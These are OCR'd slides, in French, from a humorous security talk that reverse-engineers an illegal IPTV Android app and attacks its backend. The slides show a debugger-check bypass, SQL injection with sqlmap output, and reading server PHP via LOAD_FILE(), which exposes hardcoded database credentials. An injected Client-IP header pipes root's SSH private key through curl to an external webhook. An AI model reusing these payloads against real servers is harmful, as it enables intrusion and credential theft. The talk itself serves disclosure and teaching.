Comment ne pas reverse un APK d'IPTV




Toute ressemblance avec des faits et des
personnages existants ou ayant existé

serait purement fortuite et ne pourrait étre
que le fruit d'une pure coincidence.



e Netflix revenue (2024): $39B
 Disney+: $14B
« lllegal IPTV: $40B (and growing faster)

lllegal streaming is no longer a side hustle. It’s a full-fledged, multinational, organized crime operation with better customer
service than some legit providers.




Les origines

Jeunesse & Valeurs



Les promesses

- Sans pubs
- Sans latences
- Toutes les chaines

- Et sécurisé
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Laissons farfadet ~
malicieux veérifier ca ! o, 1) @




- Détecte les debuggers au
démarrage







Bypass en lancgant 'activité principale

Par contre,

Pas d'obfuscation
Pas de ssl pinning
(pas vraiment de sécurité en gros)
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Premiere connexion

< Username

ﬁ;ﬁ Password
eos7 [ 71
Famdens

Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Host:

Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/3.2.0

request=login&clientid=45565656&user=gyatt&pass=skibidi




L’API en résumeé

- Tous les endpoints API sont
dans le code

- Pas besoin d'étre authentifié
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Et si il testait deux trois trucs ...

Warning: mysqgl_fetch_assoc() expects parameter 1 to be resource, boolean given in
/usr/shar on line 43

[l







(c’est une simple quote pas une virgule)




SQLMap en léegende

{1.9.2#stable}

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers
assume no liability and are not responsible for any misuse or damage caused by this program

starting @ 15:22:58 /2023-04-28/

:22:58] [INFO] parsing HTTP request from ‘r.txt’

:22:58] [INFO] fetched random HTTP User-Agent header value ‘'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR
.21022; .NET CLR 3.5.30729)° from file ‘/usr/share/sqlmap/data/txt/user-agents.txt’
[INFO] resuming back-end DBMS ‘mysql’
[INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: categorie (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: request=iptvgcategorie=91 AND 8290=82905id=00

[15:22:59] [INFO] the back-end DBMS is MySQL







Il dump donc le nombre de lignes ...

+

| Table | Entries |
+

| active code | 920235

+
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Calculons ca ensemble..

;- Ce qu’on retrouve le plus souvent:

e 45€ / an est le prix standard sur des panels comme Volka, AtlasPro, IPTV Forest, etc.

¢ Des revendeurs sur Telegram ou Discord proposent souvent des packs promo a 25-30€ pour attirer.

e En Afrique du Nord, les prix sont parfois a 15-20 € I'année, mais pour les mémes services.




Calculons ¢ca ensemble..

B Calculator - O X
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920235 x 45 =

41,410,575
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Bl Calculator - O X
= Scientific O

920235 x 45 =

41,410,575




B4 Calculator — O p ¢

Scientific 0,

920235 x 45 =

41,410,575

(soit a peine 0.1% du montant qu’on a vu tout au début)
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LES INSTITUTIONS
QUI DOIVENT EXPLIQUER
COMMENT ILS ONT RECUPERE LA STAT DE
"40 MILLIARDS DE DOLLARS"
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Et eux dans tout ¢ca ?




Et si on allait plus loins..
(vraiment plus loin)




LOAD_FILE()

® LOARD FILE (file name)

Reads the file and returns the file contents as a string.lTo use this function, the file must be located on the server host, you must specify the full path name

to the file, and you must have the rILE privilege. The file must be readable by the server and its size less than max allowed packet bytes. If the

secure file priv system variable is set to a nonempty directory name, the file to be loaded must be located in that directory.

<?php
ini_set('display_errors’',‘on’);

$link = mysgl_connect("illegaldatabase.net:7456","4dmin", "NzaaadYY285582aaaadDazf555BGG597") or die (“"problem to connect to DATA BASE");

mysql_select_db("appsandroidv4”) or die ("problem From DATA BASE");




Lisons donc le fichier PHP
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if (lempty($ SERVER[ "HTTP_CLIENT IP
$ip = $ SERVER[ 'HTTP_CLIENT IP'];
lseif (!empty($ SERVER "HTTP X

$1p = $ SERVER[ "HTTP_X_FORWARDED FOR'];

I
g 1
$1p = $ SERVER]




Lisons donc le fichier PHP




Résultats
® ©)
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Le payload de salopard

Host:

User-Agent: Mozilla/5.0 (X1ll; Linux x8&_€4; rv:128.0) Gecko/20100101
Firefox/128.0

Accept: text/html,application/xhtml+xml, application/xml;q=0.9,*/*;q=
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Client-IP: "base&4 /root/.ssh/id rsa | curl -X POST --data-binary @-
https: //webhook.site/ILESTCOOKED

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Priority: u=0, i

Content-Length: 38

request=register&macad=&code=

0.
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040772025 124115




BINGOOOOO !
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Et maintenant ?




Vous avez le choix

https://strawpoll.com/ajnE15770nW
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PROPAGANDA I'M NOT FRILING FOR

- Cyber Securlty News ® + Suivre -
1CSNK 1738753 abonné

Nous contacter

¥ Kali GPT- Al Assistant That Transforms Penetration Testing on Kali Linux

Afficher la traduction
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Kali GPT- Al Assistant For Penetration
Testing on




